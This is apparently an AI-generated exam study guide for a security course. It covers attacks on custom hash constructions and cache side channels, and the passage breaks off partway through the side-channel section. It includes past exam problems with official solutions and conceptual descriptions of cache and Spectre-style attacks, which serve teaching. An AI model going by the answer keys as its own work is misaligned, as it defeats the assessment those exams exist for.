Exam Solution Schemes & Study Guide

Generated by AI

October 13, 2026

Contents

1 Question Type 1: Security analysis of a custom hash-function construction 2

2 Question Type 2: Cache/timing side-channel attack analysis and constant-time fix 11

3 Question Type 3: Memory-safety vulnerability identification and exploit construction 21

4 Question Type 4: Bell-LaPadula access-control decisions and label lattice 32

5 Question Type 5: Security protocol flaw analysis and repair 39

6 Question Type 6: Concept true/false (or multiple-choice) with one-to-three-sentence justification 48

7 Question Type 7: Custom block-cipher mode analysis: decryption, parallelizability, bit-flip propagation, IND-CPA 56

8 Question Type 8: Web attack construction: XSS, CSRF, SQLi with origin/cookie reasoning 66

9 Question Type 9: Password storage and authentication-scheme analysis 76

10 Question Type 10: DoS attack construction and countermeasure/responsibility analysis 90

11 Question Type 11: Social-engineering scenario analysis 98

1 Question Type 1: Security analysis of a custom hash-function construction

Theory Background (Start Here if You Know Nothing)

A ***cryptographic hash function*** is a mathematical recipe H that takes an input of ANY length (a password, a file, a whole disk image) and produces a fixed-length output of n bits, called the ***digest*** or "fingerprint": $H : \{0,1\}^* \to \{0,1\}^n$. Two everyday facts first: (1) H is deterministic – hashing the same input twice always gives the same digest; (2) H must be fast to compute, because systems hash gigabytes routinely. Now the crucial observation: there are infinitely many possible inputs but only 2^n possible digests, so by the ***pigeonhole principle*** (more pigeons than holes forces two pigeons to share a hole) collisions – two different inputs with the same digest – are GUARANTEED to exist. Security can therefore never mean "collisions do not exist"; it can only mean collisions cannot be found in practice. Every requirement below is a statement about what an attacker with realistic computing power cannot do.

The three security requirements are best learned as three GAMES between a challenger and an attacker – what changes from game to game is only who gets to choose the inputs:

- ***One-wayness (preimage resistance)***: the challenger hands the attacker a digest h. The attacker must find ANY input x with $H(x) = h$. If this is infeasible, H is one-way. (This is what protects stored password hashes: seeing h should not reveal a working x.)
- ***Weak collision resistance (second-preimage resistance)***: the challenger hands the attacker a concrete input x. The attacker must find a DIFFERENT input $y \neq x$ with $H(y) = H(x)$. (This is what protects a signed file: given the legit file, nobody should be able to craft an evil file with the same digest.)
- ***Strong collision resistance***: the attacker chooses BOTH inputs freely. They win if they find any pair $x \neq y$ with $H(x) = H(y)$.

Because the strong game gives the attacker the most freedom, it is the EASIEST game for the attacker to win. Consequence to memorize: strong collision resistance implies weak collision resistance. Indeed, if an attacker could win the weak game (break H for a given x), the same trick wins the strong game (just ignore the freedom to pick x). Equivalently: once you disprove strong collision resistance, check whether the same trick still works when x is fixed – it usually does, and then weak is broken too.

Two ingredients appear in every exam construction, so learn them from zero. First, ***bitwise xor***, written $\oplus$: it compares two bits and outputs 1 exactly when they differ ($0 \oplus 0 = 0$, $0 \oplus 1 = 1$, $1 \oplus 0 = 1$, $1 \oplus 1 = 0$); on bit-strings it is applied position by position. Its three laws drive almost every attack:

- self-cancellation: $b \oplus b = 0$ (any string xored with itself vanishes),
- identity: $b \oplus 0 = b$ (xoring with zeros changes nothing),
- commutativity/associativity: order does not matter, so $x_1 \oplus x_2 = x_2 \oplus x_1$.

Second, ***arithmetic modulo*** 2^n: integers are added/multiplied as usual but the result "wraps around" so only the remainder after division by 2^n is kept – exactly like a clock with 2^n hours, so the result always fits in n bits. A third useful notion is the ***modular inverse*** of a number a modulo 2^n: a number a^{-1} with the property $a \cdot a^{-1} \equiv 1 \pmod{2^n}$

– multiplying by a^{-1} is the modular analogue of dividing by a, and it lets you undo a multiplication. Such an inverse exists precisely when a is ODD; for small cases you can find it by trial: e.g. $3^{-1} \equiv 171 \pmod{2^8}$ because $3 \cdot 171 = 513 = 2 \cdot 256 + 1 \equiv 1 \pmod{256}$. Key fact used in attacks: an equation $a \cdot z \equiv c \pmod{2^n}$ can be solved for z precisely when a is ODD, because only then does the modular inverse $a^{-1} \bmod 2^n$ exist; then $z \equiv a^{-1} \cdot c \pmod{2^n}$.

Exam constructions always split a candidate hash into a ***secure primitive*** P – a building block you are TOLD to assume is secure (SHA256 / SHA-2, sometimes AES) – and a ***combiner*** C, some extra plumbing (xor of blocks, a weighted sum, dropped blocks, appended input bits). Classify the shape before analyzing:

- ***Combiner inside the primitive***: $H(x) = P(C(x))$, e.g. $H(x) = \text{SHA256}(x_1 \oplus \cdots \oplus x_n)$. The attacker never touches P directly, but fully controls what goes INTO it via C. If C is linear (xor, sums mod 2^n), its cancellation laws let the attacker manufacture different inputs with the SAME combiner value, hence the same digest: the collision properties typically FAIL. One-wayness usually survives, because winning the one-way game still forces the attacker to invert P on some point.
- ***Combiner outside the primitive***: $H(x) = P(x) \,\|\, C(x)$ (the symbol $\|$ is ***concatenation***: writing two bit-strings one after another). Example: append the last 128 input bits to the SHA256 output – written $LSB_{128}(x)$, where $LSB_k(x)$ denotes the ***least significant bits*** of x, i.e. its LAST k bits (the rightmost bits when x is written as a bit-string). Now the primitive's output sits verbatim inside the digest, so $H(x) = H(y)$ forces $P(x) = P(y)$: every property of P transfers to H, and all three requirements typically HOLD – but the construction is never stronger than its primitive part, since only the P-bits of the digest do security work.

Two proof techniques settle every sub-question, and both are simpler than they sound. ***Disproof by construction*** (used to show a property FAILS): you must EXHIBIT a concrete winning move – an actual preimage or an actual colliding pair – and verify it by plugging it into the formula. With a linear combiner this is pure algebra: permute blocks (commutativity), duplicate a block twice (self-cancellation), append an all-zero block (adds nothing), or solve one modular equation for one block of y while keeping the combiner value fixed. ***Proof by reduction*** (used to show a property HOLDS): you argue by contradiction. Assume some adversary $\mathcal{A}$ could break the property for H; then show that the same $\mathcal{A}$, with a little repackaging, also breaks the corresponding property of the primitive P. Since P was assumed secure, the assumption must be false, so the property holds for H. Example: if $H(x) = \text{SHA256}(x) \,\|\, C(x)$ and an adversary finds $x \neq y$ with $H(x) = H(y)$, then in particular the SHA256 halves are equal, i.e. (x, y) is a collision for SHA256 – contradiction. A disproof needs a concrete counterexample; a proof needs a reduction to the primitive – never mix the two up.

One final exam signal: when the problem remarks that a block cipher's encryption E_K and decryption D_K are mutual inverses and the key is known, it is telling you that YOU may apply D_K freely when building attacks. A block cipher with a known key gives no one-wayness at all – it is a reversible scrambling, not a one-way function – so reductions to "security of the primitive" collapse and preimages can be built by decrypting the target digest and then fixing up the combiner. Watch for this remark; it flips the expected verdicts.

Theory Cheat-Sheet

- One-way: given digest h, finding any x with $H(x) = h$ must be infeasible (attacker picks x).
- Weak collision: given x, finding $y \neq x$ with $H(y) = H(x)$ must be infeasible (challenger fixes x).
- Strong collision: finding ANY pair $x \neq y$ with $H(x) = H(y)$ must be infeasible (easiest attacker game).
- Strong collision resistance $\Rightarrow$ weak collision resistance; after breaking strong, re-check the trick with x fixed.
- Xor laws: $b \oplus b = 0$, $b \oplus 0 = b$, commutative $\Rightarrow$ permuted or twice-duplicated blocks collide; $a \cdot z \equiv c \pmod{2^n}$ solvable iff a odd.
- Disproof = exhibit a concrete pair/preimage and verify; proof = reduction: breaking H would break the assumed-secure primitive P.

How to Identify

Use this scheme when the problem provides A concrete hash H built from a stated secure primitive (SHA256/SHA-2, sometimes AES with the remark that encrypt/decrypt are mutual inverses) plus a combiner: bitwise xor of input blocks, weighted sums mod 2^n, dropping/duplicating blocks, or concatenating input bits (e.g. $LSB_{128}(x)$) to the primitive's output. Often given as short pseudocode like 'def hash(x): H = SHA256(x); H = H ++ LSB128(x); return H' or a formula $H(x) = \text{SHA}(x_1 \oplus \cdots \oplus x_n)$ over blocks of 256 bits. and asks you to For EACH of the three requirements of a cryptographically secure hash function – one-wayness (preimage resistance), weak collision resistance (second-preimage resistance), strong collision resistance – (1) state the formal definition and (2) either disprove it by exhibiting an explicit preimage/collision or argue it holds, usually by a reduction showing an attack on H implies an attack on the underlying primitive. Look for keywords like: *"hash function", "one-way", "preimage resistance", "weak collision resistance", "strong collision resistance", "for each requirement", "define the requirement", "disprove the requirement or argue why the requirement is met", "xor", "bit concatenation", "SHA256", "secure hash function".*

Algorithm: Define all three properties, then break via combiner cancellation or prove by reduction to the primitive

Step 1: Define the three requirements: Write out all three definitions BEFORE any analysis:

- One-wayness: given h, infeasible to find x with $H(x) = h$.
- Weak collision resistance: given x, infeasible to find $y \neq x$ with $H(x) = H(y)$.
- Strong collision resistance: infeasible to find any $x \neq y$ with $H(x) = H(y)$.

Strong collision resistance implies weak collision resistance – keep this in mind when ordering your verdicts.

Step 2: Decompose the construction: Split H into the secure primitive P (SHA256/AES) and the combiner C, and classify the shape:

- ***Combiner inside***: $H(x) = P(C(x))$ – cancellation attacks on C become possible; expect broken collision properties.
- ***Combiner outside***: $H(x) = P(x) \,\|\, C(x)$ – P's output appears verbatim in the digest; expect reductions, not breaks.
- ***No primitive at all***: H is a pure linear combiner (e.g. $H = \sum_i i \cdot x_i \bmod 2^{128}$); then ALL THREE properties are directly attackable by algebra.

Step 3: Attack strong collision resistance first: This is the attacker's easiest game (both inputs free). Exploit linearity/cancellation of C:

- Xor combiner: permute the blocks ($H(x_1\|x_2) = H(x_2\|x_1)$), duplicate a block twice ($b \oplus b = 0$), or append a zero block.
- Weighted sum $\sum_i a_i x_i \bmod 2^n$: fix all blocks of y except one and solve $a_j y_j \equiv C(x) - \sum_{i \neq j} a_i y_i \pmod{2^n}$ (choose j with a_j odd so the inverse exists).

Exhibit the pair (x, y) concretely and verify both hashes match.

Step 4: Attack weak collision resistance: Now x is FIXED by the challenger. Ask: does the step-3 trick still work when one input is given?

- Usually yes: e.g. for xor, append two equal extra blocks to the fixed x; for a weighted sum, append a zero block ($y = (x_1, \ldots, x_n, 0)$) or resolve the modular equation for one block of y keeping the same value $C(x)$.
- If the strong-collision attack needed control of BOTH inputs, weak collision resistance may survive – argue by reduction instead.

Step 5: Attack or reduce one-wayness: Check three cases:

- No secure primitive / pure combiner: solve the linear equation directly (e.g. for $H = \sum_i i \cdot x_i \bmod 2^{128}$, the single block $x_1 = h$ gives $H(x) = h$) – BROKEN.
- Block cipher with known key: apply D_K to h and build a preimage via the combiner – BROKEN.
- Secure one-way primitive P present: give the reduction. Any x with $H(x) = h$ yields a preimage of P on some point (e.g. on $C(x)$), so one-wayness of P implies one-wayness of H – HOLDS. Mention explicitly if leaked input bits (appended $LSB_{128}(x)$) do NOT by themselves invert the primitive.

Step 6: Argue the surviving properties and grade the strength: For each property that holds, state the reduction cleanly: an adversary breaking the property for H produces a collision/preimage for P (e.g. $H(x) = H(y)$ with the combiner outside forces SHA256(x) = SHA256(y)). Close with

a strength note if applicable: a construction is never stronger than its primitive part – e.g. only 256 of 384 output bits come from SHA256, so the effective security is that of the 256-bit part.

Exam Variations & Traps

- **Variation 1 (Xor combiner inside the primitive):** E.g. $H(x) = \text{SHA256}(x_1 \oplus \cdots \oplus x_n)$ over 256-bit blocks. Strong collision resistance FAILS: any permutation of the blocks, or a block duplicated twice, gives the same xor and hence the same digest – exhibit $H(x_1 \| x_2) = H(x_2 \| x_1)$. Weak collision resistance fails by appending two equal blocks to the fixed x ($b \oplus b = 0$). One-wayness HOLDS by reduction: a preimage of H still requires inverting SHA256 on some input.
- **Variation 2 (Combiner outside via concatenation (all properties hold, but weakened)):** E.g. $H(x) = \text{SHA256}(x) \,\|\, LSB_{128}(x)$. Trap: the appended plaintext bits LOOK like a leak, but they do not help invert the SHA256 half. All three properties HOLD by reduction – a collision or preimage for H forces one for SHA256 – but the construction is strictly weaker than plain SHA256 since security rests only on the 256-bit part while the output is 384 bits. Do not claim this construction is broken; the expected verdict is "met, but weaker".
- **Variation 3 (Modular/weighted-sum combiner, possibly with NO primitive):** Combiner $C(x) = \sum_i a_i x_i \bmod 2^n$ or a polynomial rolling hash, sometimes without any secure primitive around it. Collisions are linear algebra mod 2^n: fix all blocks of y but one and solve $a_j y_j \equiv C(x) - \sum_{i \neq j} a_i y_i \pmod{2^n}$. If there is no primitive, even ONE-WAYNESS falls: for $H = \sum_i i \cdot x_i \bmod 2^{128}$ the single block $x_1 = h$ is a preimage. Traps:
  - If a_j is even it has no inverse mod 2^n – pick a block with odd coefficient (the index 1 is always odd and always available).
  - Forgetting the modulus, or dividing instead of multiplying by the modular inverse.
- **Variation 4 (Encrypt/decrypt mutual-inverse remark):** When the problem remarks that E_K and D_K are mutual inverses, it signals that you may APPLY D_K when constructing preimages/collisions: the block cipher is NOT one-way for an attacker who knows K. Invert the cipher freely – only the combiner constrains you – and note that reductions to "security of the primitive" then fail.

Guided Walkthrough (Learn the Method on One Question)

Problem: A software vendor fingerprints download files as follows. The file x is split into 256-bit blocks $x_1, \ldots, x_n$ (the last block is zero-padded), interpreted as integers, and the fingerprint is computed as

$$H(x) \;=\; \text{SHA256}\Big(\big(x_1 + x_2 + \cdots + x_n\big) \bmod 2^{256} \Big),$$

where SHA256 is the (assumed secure) SHA-2 hash with 256-bit output. For each of the three requirements of a cryptographically secure hash function (one-wayness, weak collision resistance, strong collision resistance): define the requirement, and either disprove the requirement or argue why the requirement is met.

Solution (every step explained, including WHY):

- *Applying Step 1:* Write the three definitions first – the exam always asks for them, and writing them down tells you exactly which game you must win or lose in each part. ***One-wayness***: given a digest h it is infeasible to find any x with $H(x) = h$. ***Weak collision resistance***: given a fixed x it is infeasible to find $y \neq x$ with $H(x) = H(y)$. ***Strong collision resistance***: it is infeasible to find ANY pair $x \neq y$ with $H(x) = H(y)$. Beginner tip: keep track of WHO chooses the inputs – attacker-free-choice (one-way, strong) versus challenger-fixed-x (weak). A common mistake is to "disprove" weak collision resistance with a pair where you chose x yourself; that only disproves the strong version.

- *Applying Step 2:* Decompose before attacking. Here $H = P \circ C$ with primitive $P =$ SHA256 and combiner $C(x) = \left(\sum_i x_i\right) \bmod 2^{256}$ sitting INSIDE the primitive's input. Why this matters: you never attack SHA256; you attack what gets FED into it. Addition mod 2^{256} is linear and commutative, so many different block arrangements share the same sum – and everything with the same sum gets the same digest. Prediction (which you now confirm): collision properties broken, one-wayness probably intact. Beginners often skip this prediction step and then waste time trying to "break SHA256" – you never need to.

- *Applying Step 3:* Strong collision resistance – BROKEN. You control both inputs, so pick the simplest possible pair that keeps the sum fixed. Take $a = 1$ and $b = 2$ (as 256-bit integers) and set $x = a\|b$ (two blocks) and $y = b\|a$. Addition is commutative, so $C(x) = (1 + 2) \bmod 2^{256} = 3 = C(y)$, hence

  $$H(x) = \text{SHA256}(3) = H(y),$$

  an explicit collision with $x \neq y$. An even simpler pair: the one-block input $x = 5$ versus the two-block input $y = 2\|3$, both with sum 5. Mistake to avoid: it is not enough to SAY "sums collide"; you must write down a concrete pair and verify both sides evaluate to the same digest.

- *Applying Step 4:* Weak collision resistance – BROKEN. Now $x = x_1\| \cdots \|x_n$ is handed to you, fixed. The trick from Step 3 must be adapted so that it works for THIS x: compute the target sum $S = \left(\sum_i x_i\right) \bmod 2^{256}$ and build any y with the same sum. Take $y = y_1\|y_2$ with y_1 arbitrary and $y_2 = (S - y_1) \bmod 2^{256}$; then $C(y) = (y_1 + y_2) \bmod 2^{256} = S = C(x)$, so $H(y) = H(x)$. Concrete numbers: if $x = 7\|9$ then $S = 16$; choose $y_1 = 4$, $y_2 = (16 - 4) \bmod 2^{256} = 12$; check: $H(y) = \text{SHA256}(16) = H(x)$. Edge case a careful answer mentions: with negligible probability 2^{-256} your y equals x – then just pick another y_1. The subtraction always works because every integer v has an ***additive inverse*** mod 2^{256}: the value $(2^{256} - v) \bmod 2^{256}$, which added to v gives 0 – so $y_2 = (S - y_1) \bmod 2^{256}$ exists for every y_1, unlike the multiplicative case where an inverse exists only for odd coefficients.

- *Applying Step 5:* One-wayness – HOLDS, by reduction. Reason by contradiction: suppose an adversary, given h, could find x with $H(x) = h$. By definition of H this means $\text{SHA256}\big(C(x)\big) = h$. But then the 256-bit value $z = C(x)$ is a preimage of h under SHA256 – the adversary has inverted SHA256, which was assumed infeasible. Contradiction, so H is one-way. The subtle point beginners miss: it does NOT matter that the adversary controls z only indirectly through the sum; ANY preimage of H whatsoever hands you SOME preimage of SHA256, and that is all the reduction needs. Also note the asymmetry with Steps 3-4: linearity lets you manufacture collisions (same sum), but it does not help you hit a prescribed digest h.
- *Applying Step 6:* Conclusion and security interpretation. Strong and weak collision resistance FAIL (explicit collisions via the linear combiner); one-wayness HOLDS by reduction to SHA256. Interpretation, which exams reward: H is unsuitable for fingerprinting downloads, because a malicious mirror can reorder file blocks or rebalance two blocks while preserving their sum – the fingerprint does not change, so the integrity check is fooled – even though inverting the fingerprint remains as hard as inverting SHA256. Collision resistance, not one-wayness, is what fingerprinting actually needs.

Real Exam Questions (With Step-by-Step Solutions)

Exam Practice: Re-exam 2025-12-18, Problem 4a (12 points)

Problem: Let x be an input of n bits. Let $\text{hash}(x)$ be the following function:

$$\text{def hash}(x): \quad H = \text{SHA256}(x); \quad H = H \mathbin{+\!\!+} LSB_{128}(x); \quad \text{return } H$$

Here, SHA256 is SHA-2 with 256-bit output, LSB_{128} returns the last 128 bits of x, and $+\!\!+$ is bit concatenation. For each requirement of a cryptographically secure hash function, define the requirement, and either disprove the requirement or argue why the requirement is met.
Solution:

- *Applying Step 1:* Definitions. ***One-wayness***: given h it should be infeasible to find x with $H(x) = h$. ***Weak collision resistance***: given x it should be infeasible to find a different $y \neq x$ with $H(x) = H(y)$. ***Strong collision resistance***: it should be infeasible to find any pair $x \neq y$ with $H(x) = H(y)$.
- *Applying Step 2:* Decompose: the primitive is $P = \text{SHA256}$ and the combiner sits OUTSIDE: $H(x) = \text{SHA256}(x) \,\|\, LSB_{128}(x)$, a 384-bit digest whose first 256 bits are the raw SHA256 output and whose last 128 bits are copied straight from the input. Shape verdict: expect reductions (all properties hold), not breaks – the appended bits look like a leak but they are input bits, not digest bits.
- *Applying Step 3:* One-wayness – HOLDS (official answer: "it is one way, even if weaker than SHA"). If an adversary given h finds x with $H(x) = h$, then the first 256 bits of h equal $\text{SHA256}(x)$, i.e. the adversary inverted SHA256 – contradiction with the assumed one-wayness of SHA256. Note the leak: the

last 128 bits of h reveal the last 128 bits of x, but knowing a SUFFIX of one preimage does not help FIND a preimage, and the effective security rests only on the 256-bit SHA256 part.

- *Applying Step 4:* Weak collision resistance – HOLDS. Given x, suppose an adversary finds $y \neq x$ with $H(y) = H(x)$. Comparing the first 256 digest bits gives $\text{SHA256}(y) = \text{SHA256}(x)$, a second preimage for SHA256 – contradicting its assumed weak collision resistance. (Official solution: "if one can find y, then $\text{SHA256}(x) = \text{SHA256}(y)$".)

- *Applying Step 5:* Strong collision resistance – HOLDS. Suppose an adversary finds any $x \neq y$ with $H(x) = H(y)$. Again the first 256 bits force $\text{SHA256}(x) = \text{SHA256}(y)$, a collision for SHA256 – contradiction. (Official solution: "if one can find such pair, $\text{SHA256}(x) = \text{SHA256}(y)$".)

Answer: All three requirements are met by reduction to SHA256 (equal digests force equal SHA256 halves), but the construction is weaker than plain SHA256 since security rests only on its 256-bit part.

Exam Practice: Exam 2020-01-10 (dasak19), Part II, Problem 3 (A level, 5 points)

Problem: Let $x = x_1 \dots x_n$ be an input of n blocks of 256 bits. Let $H(x) = \text{SHA}(x_1 \oplus \cdots \oplus x_n)$, where $\oplus$ is bitwise xor and SHA is the Secure Hash Algorithm 2. Is H a secure hash function? For each requirement of secure hash functions, disprove the requirement or argue why the requirement is met.
Solution:

- *Applying Step 1:* Definitions. ***One-wayness***: given h, infeasible to find x with $H(x) = h$. ***Weak collision resistance***: given x, infeasible to find $y \neq x$ with $H(x) = H(y)$. ***Strong collision resistance***: infeasible to find any $x \neq y$ with $H(x) = H(y)$.

- *Applying Step 2:* Decompose: primitive $P = \text{SHA-2}$, combiner $C(x) = x_1 \oplus \cdots \oplus x_n$ INSIDE the primitive. Xor is commutative, associative and self-cancelling ($b \oplus b = 0$), so different block arrangements collapse to the same 256-bit value – expect both collision properties to fail and one-wayness to survive.

- *Applying Step 3:* Strong collision resistance – BROKEN (official solution). Take any two distinct 256-bit blocks $x_1 \neq x_2$ and compare the two-block inputs $x = x_1 \| x_2$ and $y = x_2 \| x_1$. Since xor is commutative, $x_1 \oplus x_2 = x_2 \oplus x_1$, hence
$$H(x) = \text{SHA}(x_1 \oplus x_2) = \text{SHA}(x_2 \oplus x_1) = H(y),$$
an explicit collision.

- *Applying Step 4:* Weak collision resistance – BROKEN. Now $x = x_1 \| \cdots \| x_n$ is fixed. Append any block b TWICE: $y = x_1 \| \cdots \| x_n \| b \| b$. Because $b \oplus b = 0$,

the xor is unchanged: $C(y) = x_1 \oplus \cdots \oplus x_n \oplus b \oplus b = C(x)$, so $H(y) = H(x)$ with $y \neq x$. (Alternatively, swap any two blocks of the fixed x, as in Step 3.)

- *Applying Step 5:* One-wayness – HOLDS (official solution, by reduction). Suppose H were NOT one-way, i.e. there is an efficient function g with $H(g(h)) = h$ for every digest h. Define $f(h) = \bigoplus$(the 256-bit blocks of $g(h)$). Then by definition of H,

  $$\mathrm{SHA}(f(h)) = H(g(h)) = h \quad \text{for every } h,$$

  so f inverts SHA-2 on every output – contradicting the assumed one-wayness of SHA. Hence H is one-way.

Answer: H is not collision resistant (H(x1——x2) = H(x2——x1), so weak and strong both fail), but it is one-way by reduction to SHA-2.

Exam Practice: Exam HT2018 (dasak18), Part II, Problem 2

Problem: Let $H(x_1, x_2, \ldots, x_n) = \sum_{i=1}^{n} i \cdot x_i \bmod 2^{128}$ be a function that takes an input consisting of arbitrary n blocks of 128 bits and returns the sum (in unsigned 128-bit arithmetic) of the product of the block content and block index. For example $H(x_1, x_2) = x_1 + 2 \cdot x_2 \bmod 2^{128}$ and $H(x_1, x_2, x_3) = x_1 + 2 \cdot x_2 + 3 \cdot x_3 \bmod 2^{128}$. Is H a secure hash function? For each requirement of secure hash functions, disprove the requirement or argue why the requirement is met.
Solution:

- *Applying Step 1:* Definitions. ***One-wayness***: given h, infeasible to find x with $H(x) = h$. ***Weak collision resistance***: given x, infeasible to find $y \neq x$ with $H(x) = H(y)$. ***Strong collision resistance***: infeasible to find any $x \neq y$ with $H(x) = H(y)$.

- *Applying Step 2:* Decompose: there is NO secure primitive here at all – H is a pure linear combiner over 128-bit blocks. So no reduction to a secure primitive is available; expect to break all three properties by direct algebra on the weighted sum. Useful handles: the coefficient of block 1 is 1 (odd, hence invertible), and a block with value 0 contributes nothing no matter its index.

- *Applying Step 3:* One-wayness – BROKEN (official solution: "just use $x := h$"). Given any target digest h (a 128-bit value), take the SINGLE-block input $x = (x_1)$ with $x_1 = h$. Then

  $$H(x) = 1 \cdot x_1 \bmod 2^{128} = h,$$

  a preimage produced with zero effort. The coefficient 1 of the first block is what makes this trivial: block 1 passes straight through to the digest.

- *Applying Step 4:* Weak collision resistance – BROKEN (official solution). Given a fixed $x = (x_1, \ldots, x_n)$, append one all-zero block: $y = (x_1, \ldots, x_n, 0)$.

The new block contributes $(n+1) \cdot 0 = 0$ to the sum, so

$$H(y) = \sum_{i=1}^{n} i \cdot x_i + (n+1) \cdot 0 \mod 2^{128} = H(x),$$

and $y \neq x$ since it has one more block.

- *Applying Step 5:* Strong collision resistance – BROKEN. The same zero-block trick already exhibits a colliding pair with both inputs chosen freely (pick any x, append a zero block), which by definition also wins the strong game. Equivalently, reorder-and-compensate: $x = (a, b)$ and $y = (b', a')$ with $a + 2b \equiv b' + 2a' \pmod{2^{128}}$ – e.g. $x = (1, 1)$ gives sum 3, and $y = (3)$ gives $1 \cdot 3 = 3$, so $H(1\|1) = H(3)$.

Answer: H fails all three requirements: not one-way (x1 = h is a preimage), and not weakly or strongly collision resistant (appending a zero block yields a collision).

For more practice, see past-exam instances: 2022exam.pdf::Part 2, Problem 1 (C level) — breaking the given hash construction

2 Question Type 2: Cache/timing side-channel attack analysis and constant-time fix

Theory Background (Start Here if You Know Nothing)

Why caches exist. The CPU executes instructions much faster than main memory (RAM) can deliver data, so every modern processor keeps a small, fast memory called a ***cache*** between itself and RAM. When the program reads a memory address, the hardware first checks the cache: if the data is already there (a ***cache hit***) the read is fast; otherwise (a ***cache miss***) the hardware fetches it from RAM, which takes much longer, and keeps a copy in the cache for next time. Data never moves byte by byte: it moves in fixed-size chunks called ***cache lines*** (typically 64 bytes), so reading one integer also brings its neighbors along. The crucial security observation: a cache miss is much slower than a cache hit. Therefore an outsider who measures running time (or who inspects the cache afterwards) can tell whether a particular piece of data was recently used — and that is already information leakage.

Cache geometry and the line formula. Exam questions always state the geometry: total size, number of lines N, bytes per line L, and ***direct-mapped*** placement, meaning each memory block maps to exactly one cache line (block k goes to line $k \bmod N$). Consequence: two different blocks that map to the same line can never be cached together — loading one evicts (kicks out) the other. To locate an array element, use: entry i of an array with b-byte entries sits in line $\lfloor i \cdot b/L \rfloor \bmod N$. Example: 4-byte integers with 64-byte lines give $64/4 = 16$ entries per line, so `M[0..15]` share one line, `M[16..31]` the next, and entry i sits in line $\lfloor i/16 \rfloor$. Always do this computation first, for every array, and also note which scalar variables share a line.

What a side channel is. A ***side-channel attack*** learns secrets not by breaking cryptography or reading memory directly, but by observing physical side effects of

execution: running time, cache state, power consumption. Classify variables as ***high*** (secret, e.g. a key bit) or ***low*** (public, attacker-visible). Ideally a program satisfies ***non-interference***: two runs that differ only in secrets should be indistinguishable to the attacker. A cache side channel breaks this: even when the *outputs* are identical, the *number of cache misses* or the *set of touched lines* may differ, and the attacker observes exactly that. The golden rule for spotting leaks: an instruction can only leak if a memory index, a branch condition, or a loop bound depends on a secret. Accesses with constant or public indices never leak — this is the first thing to check, line by line.

The three attacker models, from weakest to strongest:

- ***Time-driven***: the attacker only measures total execution time, which the exam equates with the number of cache misses (e.g. "more than one miss means the secret was non-zero").
- ***Access-driven***: the attacker flushes (empties) or ***primes*** (fills with own data) the cache before the victim runs, then checks *which lines* were touched or evicted; this needs shared memory or co-residency on the same cache.
- ***Trace-driven***: the attacker sees the per-instruction hit/miss sequence.

A single execution leaks at most one ***predicate*** (a yes/no fact, about one bit). But when the attacker also *chooses an input* (e.g. `D`) and may rerun the victim many times, sweeping the input over all its values upgrades the 1-bit leak to the exact secret value: the input acts as a knob that slides the secret-dependent index across the line boundaries, and the runs where the observed line jumps pin down the secret.

Countermeasures (you must propose one that matches the leak you found):

- ***Constant-time programming***: never branch on a secret and never index memory with a secret. Replace `if (b) r += x; else r += y;` by the branchless ***select*** $r \mathrel{+}= b{\cdot}x+(1-b){\cdot}y$, which always executes the same instructions — multiplying by $b \in \{0,1\}$ is arithmetic, not a branch.
- ***Cache normalization***: before the secret-dependent code, touch every line the program *might* use (e.g. read `M[0], M[16], M[32], M[48]`), so the cache footprint is identical for every secret; flushing all lines at entry/exit has the same effect.
- ***Reduce the bandwidth***: add noise (dummy accesses), lower timer precision, or partition the cache per process.

The fix must match the leak: a branchless select fixes a secret branch but not a secret array index, and preloading fixes index leaks but not a secret-dependent loop bound.

Speculative execution. To go faster, the CPU *predicts* the outcome of branches and executes the predicted side before knowing it is correct; on a misprediction the results are discarded, but the instructions did run ***transiently***, and transient loads still pull lines into the cache. This powers Spectre-style attacks, which need two ingredients: a ***reading gadget*** (a transient load that reads a value it should not — an *overread*, only possible with an unbounded index like `M[D]` with $D \geq 64$; an index guarded by mod 64 can never overread) and a ***transmitting gadget*** (a second access whose *address depends on* the transiently read value, thereby encoding it into the cache state for the attacker to measure). A reading gadget alone discloses nothing: if no access address depends on the leaked value, speculation adds no information. Defenses: `lfence` serialization after the branch, or masking the index with the bounds-check result.

Theory Cheat-Sheet

- Line of entry i: $\lfloor i \cdot b/L \rfloor \bmod N_{lines}$; entries sharing a line evict each other (direct-mapped).
- Only indices, branches, or loop bounds that depend on a ***secret*** can leak; public/constant indices never leak.
- Time-driven = count misses from execution time; access-driven = flush/prime, then record touched lines.
- One execution leaks at most a predicate (1 bit); sweeping an attacker input over all values upgrades the leak to the exact secret (line boundaries pin the secret's residue).
- Fix must match the leak: branchless select for secret branches, preload/flush all possibly-used lines for secret indices.
- Speculation adds leakage only with *both* a reading gadget and a transmitting gadget; mod-guarded indices cannot overread.

How to Identify

Use this scheme when the problem provides A stated cache geometry (total size, number of lines, bytes per line, direct-mapped, data cache only), an array/table layout saying which entries map to which cache line, a short C-like victim program with secret variables (e.g. A, B, C) and possibly an attacker-controlled public input (e.g. D), and an attacker model: time-driven (execution time depends only on the number of cache misses/hits) or access-driven (attacker observes which cache lines are touched or evicted, possibly over repeated runs with chosen inputs). and asks you to Explain why the program is insecure and name the leaking instructions; show how the attacker correlates multiple executions (varying the public input) to recover a secret value, range, or predicate; propose a concrete fix (constant-time/branchless rewrite or cache preloading/flushing); and sometimes judge whether speculative execution (branch prediction) increases the leakage. Look for keywords like: *"side channel", "data cache", "directly mapped", "cache line", "time driven attack", "access driven attack", "cache misses", "measuring execution time", "cache lines evicted", "secret variables", "controlled by the attacker", "constant-time", "preload", "flush", "speculative execution", "branch prediction", "correlate".*

Algorithm: Map lines, flag secret-dependent accesses, correlate runs, then make the footprint secret-independent

Step 1: Map data to cache lines: From the geometry compute the line of every datum: entry i of an array with b-byte entries and L-byte lines sits in line $\lfloor i \cdot b/L \rfloor \bmod N_{lines}$ (often $b = 4$, $L = 64$, so 16 entries per line). Note collisions: two regions mapping to the same line evict each other, so only one can be cached at a time. Also record which line holds the scalar secret/public variables.

Step 2: Flag leaking instructions: Mark every instruction whose

- memory index,

- branch condition, or
- iteration count

depends on a secret — directly (`M[A]`) or mixed with attacker input (`M[(B+D) mod 64]`). These are the only possible leak sources; accesses with public or constant indices never leak.

Step 3: Model the observation: ***Time-driven***: count cache misses per execution, simulating the direct-mapped cache line by line (a miss occurs when the needed line differs from the resident one; colliding regions can make the count constant — check!). ***Access-driven***: assume the attacker flushes/primes the cache before each run and records the set of lines touched (or evicted) after it.

